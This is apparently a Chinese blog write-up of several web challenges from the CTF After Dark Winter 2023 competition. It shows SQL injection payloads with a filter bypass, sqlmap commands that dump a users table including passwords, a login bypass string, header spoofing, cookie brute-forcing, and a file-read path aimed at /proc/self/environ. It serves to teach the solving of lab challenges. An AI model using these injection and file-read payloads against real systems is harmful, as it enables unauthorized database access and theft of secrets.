0%

CTF-After-Dark-Winter-2023部分wp

CTF After Dark Winter 2023的部分wp

感谢友善帮助我的syy和potato🙏

Bagels

右键查看源代码,script.js文件里
直接查看网页cookie也可以

Birthday

右键查看源代码

Cat

由题意得,机器小猫,在url末端加上robots.txt可以看到Disallow: /cat/vet.html,把url末端改成这个。

Mean Girls

右键查看源代码,在login-page.js文件里可以看到

1
2
3
if (username === "admin" && password === "cybersecure") {
alert("You have successfully logged in.");
location.href = 'flag.html';

在login页面输入username和password(直接在url末端加/flag.html应该也可以

在flag.html页面可以找到iodj{rq_z3gq3vg4bv_z3_zh4u_s1qn}
结合名字caesar可知是凯撒密码,位移是3

Star Poet Blog

题中诗的url末端都是/achieve/xxx.txt结合题干,在/achieve/后面加password.txt
得到flag{1377_2127_3343_4241_5864}
结合poetry 101: what’s a poem?这个链接,得知第一个数字代表第几首诗,第二个数字代表第几段,第三个数字代表第几行,第四个数字代表第几个单词,解出flag

Secure Platform

点击Get your flag!按键,页面提示Your platform is "Windows", I'd much rather it be "INTEGRITY-178B".,用bp抓包改一下Sec-Ch-Ua-Platform部分

Bank

过滤了select,好吧我连堆叠注入都在尝试了,然后善良的syy告诉我,直接双写绕过就好了(我是若汁啊啊啊啊啊啊啊啊

  1. username=' order by 3 #&password=1没报错
    username=' order by 4 #&password=1报错
    说明表是三列的

  2. username=' union selselectect 1,2,3#&password=1

  3. 查库名username=' union selselectect 1,2,schema_name from information_schema.schemata#&password=1
    库名为bankdb

  4. 查表名username=' union selselectect 1,2,table_name from information_schema.tables where table_schema='bankdb'#&password=1
    表名为flags和users

  5. 查列名username=' union selselectect 1,2,column_name from information_schema.columns where table_name='flags'#&password=1
    列名为flag和value(后知后觉题目给了(悲

  6. 查字段username=' union selselectect 1,2,concat_ws(':',flag,value) from bankdb.flags#&password=1

Cookies

这道题摸不着头脑半天,善良的potato说题目意思应该是cookie随机一个1000以内的值,如果随机到它想要的就可以得到flag。。。
bp爆破一下cookie请求头就可以叻
(btw如果足够幸运是不是有概率一下子随机到正确的cookie值。。

Injection Perfection

这道题看起来是node.js写的,源码也看不明白,题也不会做。。大概过滤了井号大于小于等于这样。。。?

但是。。。没关系。。。sqlmap堂堂出场。。。。
(是的本人是一个只会借助工具的没用的东西(悲

  1. 首先。。
    python sqlmap.py -u "https://injection-perfection.acmcyber.com/" --data="username=joe&password=bruin"
    出来一堆乱糟糟的。。看也看不懂。。。。。

  2. 没关系。。。看看数据库。。。
    python sqlmap.py -u "https://injection-perfection.acmcyber.com/" --data="username=joe&password=bruin" -dbs
    又是一堆乱糟糟的。。。没关系。。。。我乱搞一下

  3. 查一下表名吧
    python sqlmap.py -u "https://injection-perfection.acmcyber.com/" --data="username=joe&password=bruin" --tables
    e76bd4177bf31da151ddcafa748b9230.png
    所以数据库是SQLite_masterdb,表名是users

  4. 查列名python sqlmap.py -u "https://injection-perfection.acmcyber.com/" --data="username=joe&password=bruin" -T users --columns
    5c7c9f0c6ad3c9ff1329e8e11ce3353f.png

  5. 查字段python sqlmap.py -u "https://injection-perfection.acmcyber.com/" --data="username=joe&password=bruin" -T users -C fav_color,password,username --dump

    1
    2
    3
    4
    5
    6
    7
    +----------+--------------------------------------+------------+
    | fav_color| password | username |
    +----------+--------------------------------------+------------+
    | blue | bruin | joe |
    | red | bedwarsplayersarelikefliesexceptflies| gamerboy80 |
    | flag{**} | ******* | admin |
    +----------+--------------------------------------+------------+

复现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const attemptLogin = (username, password) => {
return new Promise((resolve, reject) => {
db.get(`SELECT username, password FROM users WHERE username='${username}'`, async (err, row) => {
if (err)
return reject(err);
else if (row === undefined)
return reject('Invalid User');
else if (password === row.password)
return resolve(`My favorite color is ${await getFavColor(row.username)}`);
else
return reject('incorrect password');
});
})
};

构建payload:"password=aaa&username=a' union select 'admin','aaa' --+"

SQL Prevention-101

随便一个万能密码belikeadmin' or 1=1#

What’s on the Menu?

  1. 由题意得,bp打开,GET改成POST
  2. Only the elite who used MenuBrowser can access the menu!得,把User-Agent的值改为MenuBrowser
  3. Only those who were referred by https://yelp.com can access the menu!得,加个请求头Referer: https://yelp.com

Jester

已知是四位数加四位数,每一秒内都会换一道题。。。。所以算式的值会是从0到19999,如果用bp爆破一下从0到19999。。。。
那么一次撞大运能有1/20000撞到,即19999/20000的概率撞不到,撞20000次撞不到的概率为(19999/20000)^20000 = 0.36787
所以20000次能撞到数字正确的概率约为0.632.。。

5934296ab072814fe6041a8254562fd4.png

然后把撞出来的页面show response in browser,看到第二题是一元二次方程,依旧是一秒换一题,然后因为式子只有加号所以方程的解为负,而且四舍五入为整数,所以以两个解的值在-100到0再次爆破一下
1605e8817747775932563f3e2621ea78.png
emmmmmmm…

然后其实我本来的思路是写个Python,读取页面然后解方程式,Python跑的速度加传参的速度,有几率在1秒内跑完并且传参
然后我代码都搞到了改完了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import re
from bs4 import BeautifulSoup
# 发送HTTP请求并解析HTML
url = "https://jester.acmcyber.com/validate"
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')
# 找到所有的<p>标签并获取包含算式的文本内容
p_tags = soup.find_all('p')
text = ""
for p in p_tags:
match = re.search(r'(\d+)\s*\+\s*(\d+)', p.text)
if match:
text = match.group(0)
break
# 使用eval()函数计算算式的结果
if text:
operands = [int(op) for op in text.split(" + ")]
result = sum(operands)
print("算式:", text)
print("结果:", result)
# 将结果POST到表单中
form_data = {"answer": str(result)}
response = requests.post(url, data=form_data)
print("已将结果POST到表单中!")
print(response.text)
else:
print("未找到算式!")
#
#
#
soup = BeautifulSoup(response.text, 'html.parser')
# 找到所有的<p>标签并获取包含算式的文本内容
p_tags = soup.find_all('p')
text = ""
for p in p_tags:
if "What are the roots of" in p.text:
text = p.text.strip()
break
# 解析算式并计算结果
if text:
# 使用正则表达式匹配算式中的系数
pattern = r'(\d+)\s*x\^2\s*\+\s*(\d+)\s*x\s*\+\s*(\d+)'
match = re.search(pattern, text)
if match:
a, b, c = int(match.group(1)), int(match.group(2)), int(match.group(3))
# 计算一元二次方程的解
delta = b**2 - 4*a*c
if delta < 0:
print("无实数解!")
elif delta == 0:
x = -b / (2*a)
print("唯一实数解:", x)
else:
x1 = (-b + delta**0.5) / (2*a)
x2 = (-b - delta**0.5) / (2*a)
x1_rounded = round(x1)
x2_rounded = round(x2)
print("两个实数解:", x1_rounded, x2_rounded)
# 将解POST到表单中
form_data = {"answer": str(result),"answer1": str(x1_rounded), "answer2": str(x2_rounded)}
response = requests.post(url+"", data=form_data)
# 输出POST请求后的HTML源代码
print(response.text)
else:
print("算式格式不正确!")
else:
print("未找到算式!")

平均速度在0.7秒到1.7秒内。。多跑几次就可以跑出来,然而出现了一个问题。。.
因为两题的URL是同一个,所以每次post answer1和answer2都会post到第一题上去(悲
potato说是第二题比第一题多个cookie,而Python好像没法区分,然后我寻思如果python再传一个cookie请求头会不会超出一秒(而且也太麻烦了我不会写
遂作罢。。。。。。

学长的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
from bs4 import BeautifulSoup
import requests
url = "https://jester.acmcyber.com/validate"
session = requests.Session()
ssss = session.get(url=url)

soup = BeautifulSoup(ssss.text, 'html.parser')
addition_problem = soup.find('p', text=lambda x: 'What is' in x and '+' in x)
addition_str = addition_problem.text.strip().replace('What is ', '').replace('?',
'').strip().split(' + ')
res = int(addition_str[0])+int(addition_str[1])
data = {
"answer":str(res)
}
ssss = session.post(url=url,data=data)
print(ssss.text)
print(ssss.headers)

soup = BeautifulSoup(ssss.text, 'html.parser')
question = soup.find_all('p')[1].text
print(question.split(' '))
expression = question.split(' ')
a = int(expression[5])
b = int(expression[8])
c = int(expression[11])
print(a,b,c)
D = b**2 - 4*a*c
if D < 0:
print("无实数根")
else:
root1 = (-b + D**0.5) / (2*a)
root2 = (-b - D**0.5) / (2*a)
print('解:', round(root1), round(root2))
data={
"answer1":str(round(root1)),
"answer2":str(round(root2))
}
print(data)
ssss = session.post(url=url,data=data)
print(ssss.text)
print(ssss.headers)

知道了Session()可以保存cookie,改了一下自己的👉👈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import re
from bs4 import BeautifulSoup
# 发送HTTP请求并解析HTML
url = "https://jester.acmcyber.com/validate"
session = requests.Session()
response = session.get(url=url)

soup = BeautifulSoup(response.text, 'html.parser')
# 找到所有的<p>标签并获取包含算式的文本内容
p_tags = soup.find_all('p')
text = ""
for p in p_tags:
match = re.search(r'(\d+)\s*\+\s*(\d+)', p.text)
if match:
text = match.group(0)
break
# 使用eval()函数计算算式的结果
if text:
operands = [int(op) for op in text.split(" + ")]
result = sum(operands)
print("算式:", text)
print("结果:", result)
# 将结果POST到表单中
form_data = {
"answer": str(result)
}
response = session.post(url, data=form_data)
print("已将结果POST到表单中!")
print(response.text)
else:
print("未找到算式!")
#
#
#
response = session.post(url=url,data=form_data)
soup = BeautifulSoup(response.text, 'html.parser')
# 找到所有的<p>标签并获取包含算式的文本内容
p_tags = soup.find_all('p')
text = ""
for p in p_tags:
if "What are the roots of" in p.text:
text = p.text.strip()
break
# 解析算式并计算结果
if text:
# 使用正则表达式匹配算式中的系数
pattern = r'(\d+)\s*x\^2\s*\+\s*(\d+)\s*x\s*\+\s*(\d+)'
match = re.search(pattern, text)
if match:
a, b, c = int(match.group(1)), int(match.group(2)), int(match.group(3))
# 计算一元二次方程的解
delta = b**2 - 4*a*c
if delta < 0:
print("无实数解!")
elif delta == 0:
x = -b / (2*a)
print("唯一实数解:", x)
else:
x1 = (-b + delta**0.5) / (2*a)
x2 = (-b - delta**0.5) / (2*a)
x1_rounded = round(x1)
x2_rounded = round(x2)
print("两个实数解:", x1_rounded, x2_rounded)
# 将解POST到表单中
form_data = {
"answer1": str(x1_rounded),
"answer2": str(x2_rounded)
}
response = session.post(url=url, data=form_data)
# 输出POST请求后的HTML源代码
print(response.text)
else:
print("算式格式不正确!")
else:
print("未找到算式!")

Simple Calculator

在学长给的/proc提示下,https://simple-calculator.acmcyber.com/source?file=/proc/self/environ